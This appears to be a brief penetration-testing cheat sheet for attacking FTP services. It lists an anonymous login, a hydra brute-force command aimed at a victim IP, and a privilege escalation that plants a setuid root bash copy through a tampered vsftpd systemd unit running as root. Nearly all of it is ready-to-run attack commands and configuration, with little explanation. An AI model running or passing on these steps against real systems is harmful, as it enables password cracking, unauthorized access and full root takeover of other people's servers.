FTP
Anonymous Login
ftp <victim_ip>
anonymous:anonymousBrute Force
hydra -l admin -P wordlist.txt victim_ip -t 64 ftpPrivilege Escalation - VSFTPD
cp /bin/bash /tmp/root_shell
chmod +xs /tmp/root_shell[Unit]
Description=vsftpd FTP server
After=network.target
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'cp /bin/bash /tmp/root_shell; chmod +xs /tmp/root_shell'
#ExecReload=/bin/kill -HUP $MAINPID
#ExecStartPre=-/bin/mkdir -p /var/run/vsftpd/empty
[Install]
WantedBy=multi-user.targetLast updated